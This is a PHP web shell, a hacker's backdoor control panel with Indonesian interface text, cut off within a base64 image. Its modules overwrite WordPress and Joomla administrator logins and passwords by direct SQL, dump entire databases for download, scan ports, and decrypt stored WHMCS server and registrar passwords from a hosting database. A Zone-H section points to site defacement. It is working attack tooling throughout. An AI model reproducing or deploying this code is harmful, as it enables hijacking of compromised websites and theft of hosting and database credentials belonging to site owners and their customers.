                                $content .= htmlentities(str_replace("''","'",fgets($filez)));
                        }
                        @fclose($filez);
                }
       
?>
<form action="?y=<?php echo $pwd; ?>&amp;edit=<?php echo $file; ?>" method="post">
<table class="cmdbox">
<tr><td colspan="2">
<textarea class="output" name="content">
<?php echo $content; ?>
</textarea>
<tr><td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" />
&nbsp;<?php echo $msg; ?></td></tr>
</table>
</form>
<?php
}
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'wp-reset'))
{
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=wp-reset" method="post">
 
<?php
 
echo "<center/><br/><b><font color=#00ff00>+--==[  Wordpress Reset Password  ]==--+</font></b><br><br>";
 
  if(empty($_POST['pwd'])){
 
echo "<FORM method='POST'>
<table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL server</th></tr> <tr><td>&nbsp;&nbsp;Hostname</td><td>
<input style='width:220px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr> <tr><td>&nbsp;&nbsp;Database</td><td>
<input style='width:220px;' class='inputz' type='text' name='database' value='wp-' /></td></tr> <tr><td>&nbsp;&nbsp;username</td><td>
<input style='width:220px;' class='inputz' type='text' name='username' value='wp-' /></td></tr> <tr><td>&nbsp;&nbsp;password</td><td>
<input style='width:220px;' class='inputz' type='text' name='password' value='**' /></td></tr>
<tr><td>&nbsp;&nbsp;User baru</td><td>
<input style='width:220px;' class='inputz' type='text' name='admin' value='admin' /></td></tr>
 <tr><td>&nbsp;&nbsp;Pass Baru</td><td>
<input style='width:80px;' class='inputz' type='text' name='pwd' value='123456' />&nbsp;
 
<input style='width:19%;' class='inputzbut' type='submit' value='change!' name='send' /></FORM>
</td></tr> </table><br><br><br><br>
";
}else{
$localhost = $_POST['localhost'];
$database  = $_POST['database'];
$username  = $_POST['username'];
$password  = $_POST['password'];
$pwd   = $_POST['pwd'];
$admin = $_POST['admin'];
 
 
 @mysql_connect($localhost,$username,$password) or die(mysql_error());
 @mysql_select_db($database) or die(mysql_error());
 
$hash = crypt($pwd);
$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 2") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 2") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 3") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 3") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_email ='".$SQL."' WHERE ID = 1") or die(mysql_error());
 
 
if($a4s){
echo "<b> Success ..!! :)) sekarang bisa login ke wp-admin</b> ";
}
 
}
 
 
  echo "
   </div>"; }
 
elseif(isset($_GET['x']) && ($_GET['x'] == 'jm-reset'))
{
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=jm-reset" method="post">
 
<?php
 
echo "<center/><br/><b><font color=#00ff00>+--==[  Joomla Reset Password ]==--+</font></b><br><br>";
        if(empty($_POST['pwd'])){
echo "<FORM method='POST'><table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL </th></tr> <tr><td>&nbsp;&nbsp;Host</td><td>
<input style='width:270px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr> <tr><td>&nbsp;&nbsp;Database</td><td>
<input style='width:270px;' class='inputz' type='text' name='database' value='database' /></td></tr> <tr><td>&nbsp;&nbsp;username</td><td>
<input style='width:270px;' class='inputz' type='text' name='username' value='db_user' /></td></tr> <tr><td>&nbsp;&nbsp;password</td><td>
<input style='width:270px;' class='inputz' type='password' name='password' value='**' /></td></tr>
<tr><td>&nbsp;&nbsp;User baru</td><td>
<input style='width:270px;' class='inputz' name='admin' value='admin' /></td></tr>
 <tr><td>&nbsp;&nbsp;pass baru </td><td>123456 =
<input style='width:130px;' class='inputz' name='pwd' value='e10adc3949ba59abbe56e057f20f883e' />&nbsp;
 
<input style='width:23%;' class='inputzbut' type='submit' value='change!' name='send' /></FORM>
</td></tr> </table><br><br><br><br>
";
}else{
$localhost = $_POST['localhost'];
$database  = $_POST['database'];
$username  = $_POST['username'];
$password  = $_POST['password'];
$pwd   = $_POST['pwd'];
$admin = $_POST['admin'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$hash = crypt($pwd);
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 62") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 62") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 63") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 63") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 64") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 64") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 65") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 65") or die(mysql_error());
if($SQL){
echo "<b>Success : skarang password barunya >>> - (123456)";
}
}
 
  echo "
   </div>";
?>
<?php
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'dump'))
    {
    ?>
    <form action="?y=<?php echo $pwd; ?>&x=dump" method="post">
    <?php
echo $head.'<p align="center">';
echo '
<table width=371 class=tabnet >
<tr><th colspan="2">Database Dump</th></tr>
<tr>
        <td>Server </td>
        <td><input class="inputz" type=text name=server size=52></td></tr><tr>
        <td>Username</td>
        <td><input class="inputz" type=text name=username size=52></td></tr><tr>
        <td>Password</td>
        <td><input class="inputz" type=text name=password size=52></td></tr><tr>
        <td>DataBase Name</td>
        <td><input class="inputz" type=text name=dbname size=52></td></tr>
        <tr>
        <td>DB Type </td>
        <td><form method=post action="'.$me.'">
        <select class="inputz" name=method>
                <option  value="gzip">Gzip</option>
                <option value="sql">Sql</option>
                </select>
        <input class="inputzbut" type=submit value="  Dump!  " ></td></tr>
        </form></center></table>';
if ($_POST['username'] && $_POST['dbname'] && $_POST['method']){
$date = date("Y-m-d");
$dbserver = $_POST['server'];
$dbuser = $_POST['username'];
$dbpass = $_POST['password'];
$dbname = $_POST['dbname'];
$file = "Dump-$dbname-$date";
$method = $_POST['method'];
if ($method=='sql'){
$file="Dump-$dbname-$date.sql";
$fp=fopen($file,"w");
}else{
$file="Dump-$dbname-$date.sql.gz";
$fp = gzopen($file,"w");
}
function write($data) {
global $fp;
if ($_POST['method']=='ssql'){
fwrite($fp,$data);
}else{
gzwrite($fp, $data);
}}
mysql_connect ($dbserver, $dbuser, $dbpass);
mysql_select_db($dbname);
$tables = mysql_query ("SHOW TABLES");
while ($i = mysql_fetch_array($tables)) {
    $i = $i['Tables_in_'.$dbname];
    $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
    write($create['Create Table'].";

");
    $sql = mysql_query ("SELECT * FROM ".$i);
    if (mysql_num_rows($sql)) {
        while ($row = mysql_fetch_row($sql)) {
            foreach ($row as $j => $k) {
                $row[$j] = "'".mysql_escape_string($k)."'";
            }
            write("INSERT INTO $i VALUES(".implode(",", $row).");
");
        }
    }
}
if ($method=='ssql'){
fclose ($fp);
}else{
gzclose($fp);}
header("Content-Disposition: attachment; filename=" . $file);
header("Content-Type: application/download");
header("Content-Length: " . filesize($file));
flush();
 
$fp = fopen($file, "r");
while (!feof($fp))
{
    echo fread($fp, 65536);
    flush();
}
fclose($fp);
}
 
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'port-sc'))
    {
    ?>
    <form action="?y=<?php echo $pwd; ?>&x=port-sc" method="post">
    <?php
    echo '<br><br><center><br><b>+--=[ Port Scanner ]=--+</b><br>';
    $start = strip_tags($_POST['start']);
    $end = strip_tags($_POST['end']);
    $host = strip_tags($_POST['host']);
    if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
    for($i = $start; $i<=$end; $i++){
    $fp = @fsockopen($host, $i, $errno, $errstr, 3);
    if($fp){
    echo 'Port '.$i.' is <font color=#4C83AF>open</font><br>';
    }
    flush();
    }
    }else{
    echo '<table class=tabnet style="width:300px;padding:0 1px;">
   <input type="hidden" name="y" value="phptools">
   <tr><th colspan="5">Port Scanner</th></center></tr>
   <tr>
                <td>Host</td>
                <td><input type="text" class="inputz"  style="width:220px;color:#4C83AF;" name="host" value="localhost"/></td>
   </tr>
   <tr>
                <td>Port start</td>
                <td><input type="text" class="inputz" style="width:220px;color:#4C83AF;" name="start" value="0"/></td>
   </tr>
        <tr><td>Port end</td>
                <td><input type="text" class="inputz"  style="width:220px;color:#4C83AF;" name="end" value="5000"/></td>
   </tr><td><input class="inputzbut" type="submit" style="color:#4C83AF" value="Scan Ports" />
   </td></form></center></table>'; }?>
    
<?php }
/////////////////////////////////////////////////////////////////
 
elseif(isset($_GET['x']) && ($_GET['x'] == 'hash'))
    {
$submit= $_POST['enter'];
if (isset($submit)) {
$pass = $_POST['password']; // password
$salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN'; // random string
$hash = md5($pass); // md5 hash #1
$md4 = hash("md4",$pass);
$hash_md5 = md5($salt.$pass); // md5 hash with salt #2
$hash_md5_double = md5(sha1($salt.$pass)); // md5 hash with salt & sha1 #3
$hash1 = sha1($pass); // sha1 hash #4
$sha256 = hash("sha256",$text);
$hash1_sha1 = sha1($salt.$pass); // sha1 hash with salt #5
$hash1_sha1_double = sha1(md5($salt.$pass)); // sha1 hash with salt & md5 #6
}
echo '<form action="" method="post"><b><table class=tabnet>';
echo '<tr><th colspan="2">Password Hash</th></center></tr>';
echo '<tr><td><b>masukan kata yang ingin di encrypt:</b></td>';
echo '<td><input class="inputz" type="text" name="password" size="40" />';
echo '<input class="inputzbut" type="submit" name="enter" value="hash" />';
echo '</td></tr><br>';
echo '<tr><th colspan="2">Hasil Hash</th></center></tr>';
echo '<tr><td>Original Password</td><td><input class=inputz type=text size=50 value='.$pass.'></td></tr><br><br>';
echo '<tr><td>MD5</td><td><input class=inputz type=text size=50 value='.$hash.'></td></tr><br><br>';
echo '<tr><td>MD4</td><td><input class=inputz type=text size=50 value='.$md4.'></td></tr><br><br>';
echo '<tr><td>MD5 with Salt</td><td><input class=inputz type=text size=50 value='.$hash_md5.'></td></tr><br><br>';
echo '<tr><td>MD5 with Salt & Sha1</td><td><input class=inputz type=text size=50 value='.$hash_md5_double.'></td></tr><br><br>';
echo '<tr><td>Sha1</td><td><input class=inputz type=text size=50 value='.$hash1.'></td></tr><br><br>';
echo '<tr><td>Sha256</td><td><input class=inputz type=text size=50 value='.$sha256.'></td></tr><br><br>';
echo '<tr><td>Sha1 with Salt</td><td><input class=inputz type=text size=50 value='.$hash1_sha1.'></td></tr><br><br>';
echo '<tr><td>Sha1 with Salt & MD5</td><td><input class=inputz type=text size=50 value='.$hash1_sha1_double.'></td></tr><br><br></table>';
}
 
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'whmcs'))
{
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=whmcs" method="post">
 
<?php
 
function decrypt ($string,$cc_encryption_hash)
{
    $key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
    $hash_key = _hash ($key);
    $hash_length = strlen ($hash_key);
    $string = base64_decode ($string);
    $tmp_iv = substr ($string, 0, $hash_length);
    $string = substr ($string, $hash_length, strlen ($string) - $hash_length);
    $iv = $out = '';
    $c = 0;
    while ($c < $hash_length)
    {
        $iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
        ++$c;
    }
    $key = $iv;
    $c = 0;
    while ($c < strlen ($string))
    {
        if (($c != 0 AND $c % $hash_length == 0))
        {
            $key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
        }
        $out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
        ++$c;
    }
    return $out;
}
 
function _hash ($string)
{
    if (function_exists ('sha1'))
    {
        $hash = sha1 ($string);
    }
    else
    {
        $hash = md5 ($string);
    }
    $out = '';
    $c = 0;
    while ($c < strlen ($hash))
    {
        $out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
        $c += 2;
    }
    return $out;
}
 
echo "
<br><center><font size='5' color='#4C83AF'><b>-=[ WHMCS Decoder ]=-</b></font></center>
<center>
<br>
 
<FORM action=''  method='post'>
<input type='hidden' name='form_action' value='2'>
<br>
<table class=tabnet style=width:320px;padding:0 1px;>
<tr><th colspan=2>WHMCS Decoder</th></tr>
<tr><td>db_host </td><td><input type='text' style='color:#4C83AF;background-color:' class='inputz' size='38' name='db_host' value='localhost'></td></tr>
<tr><td>db_username </td><td><input type='text' style='color:#4C83AF;background-color:' class='inputz' size='38' name='db_username' value=''></td></tr>
<tr><td>db_password</td><td><input type='text' style='color:#4C83AF;background-color:' class='inputz' size='38' name='db_password' value=''></td></tr>
<tr><td>db_name</td><td><input type='text' style='color:#4C83AF;background-color:' class='inputz' size='38' name='db_name' value=''></td></tr>
<tr><td>cc_encryption_hash</td><td><input style='color:#4C83AF;background-color:' type='text' class='inputz' size='38' name='cc_encryption_hash' value=''></td></tr>
<td>&nbsp;&nbsp;&nbsp;&nbsp;<INPUT class='inputzbut' type='submit' style='color:#4C83AF;background-color:'  value='Submit' name='Submit'></td>
</table>
</FORM>
</center>
";
 
 if($_POST['form_action'] == 2 )
 {
 //include($file);
 $db_host=($_POST['db_host']);
 $db_username=($_POST['db_username']);
 $db_password=($_POST['db_password']);
 $db_name=($_POST['db_name']);
 $cc_encryption_hash=($_POST['cc_encryption_hash']);
 
 
 
    $link=mysql_connect($db_host,$db_username,$db_password) ;
        mysql_select_db($db_name,$link) ;
$query = mysql_query("SELECT * FROM tblservers");
while($v = mysql_fetch_array($query)) {
$ipaddress = $v['ipaddress'];
$username = $v['username'];
$type = $v['type'];
$active = $v['active'];
$hostname = $v['hostname'];
echo("<center><table border='1'>");
$password = decrypt ($v['password'], $cc_encryption_hash);
echo("<tr><td>Type</td><td>$type</td></tr>");
echo("<tr><td>Active</td><td>$active</td></tr>");
echo("<tr><td>Hostname</td><td>$hostname</td></tr>");
echo("<tr><td>Ip</td><td>$ipaddress</td></tr>");
echo("<tr><td>Username</td><td>$username</td></tr>");
echo("<tr><td>Password</td><td>$password</td></tr>");
 
echo "</table><br><br></center>";
}
 
    $link=mysql_connect($db_host,$db_username,$db_password) ;
        mysql_select_db($db_name,$link) ;
$query = mysql_query("SELECT * FROM tblregistrars");
echo("<center>Domain Reseller <br><table class=tabnet border='1'>");
echo("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
while($v = mysql_fetch_array($query)) {
$registrar     = $v['registrar'];
$setting = $v['setting'];
$value = decrypt ($v['value'], $cc_encryption_hash);
if ($value=="") {
$value=0;
}
$password = decrypt ($v['password'], $cc_encryption_hash);
echo("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
}
}
?>
<?php
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'zone-h')){	?>
<form action="?y=<?php echo $pwd; ?>&amp;x=zone-h" method="post">
<br><br><?php echo '<p style="text-align: center;"> <img alt="" src="data:image/gif;base64,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
